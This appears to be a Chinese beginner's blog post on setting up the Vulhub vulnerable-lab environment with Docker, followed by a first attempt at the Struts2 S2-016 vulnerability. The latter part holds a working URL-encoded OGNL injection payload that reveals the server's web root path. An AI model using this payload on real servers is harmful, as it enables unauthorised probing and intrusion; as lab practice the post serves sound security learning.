初试Vulhub

Vulhub
github上的一个开源项目

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。

使用

安装好docker后

# 启动docker服务
service docker start

# 安装compose
pip install docker-compose 

# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

# 进入某一个漏洞/环境的目录
cd flask/ssti

# 自动化编译环境
docker-compose build

# 启动整个环境
docker-compose up -d

每个环境目录下都有相应的说明文件,请阅读该文件,进行漏洞/环境测试

测试完成后,删除整个环境

docker-compose down -v

初试Struts2 s2-016

之前经常看到Struts2系列的漏洞文章,但是一直没有实践过,如今正好来试试,

具体原理现在还很菜就不多分析了,先感受一把黑阔的feel。

打开靶场xx.xx.xx.xx:8080/index.action

后面接上payload就可以爆路径

?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

爆出路径

/usr/local/tomcat/webapps/ROOT/

用用之前安恒的那个Struts2检测工具
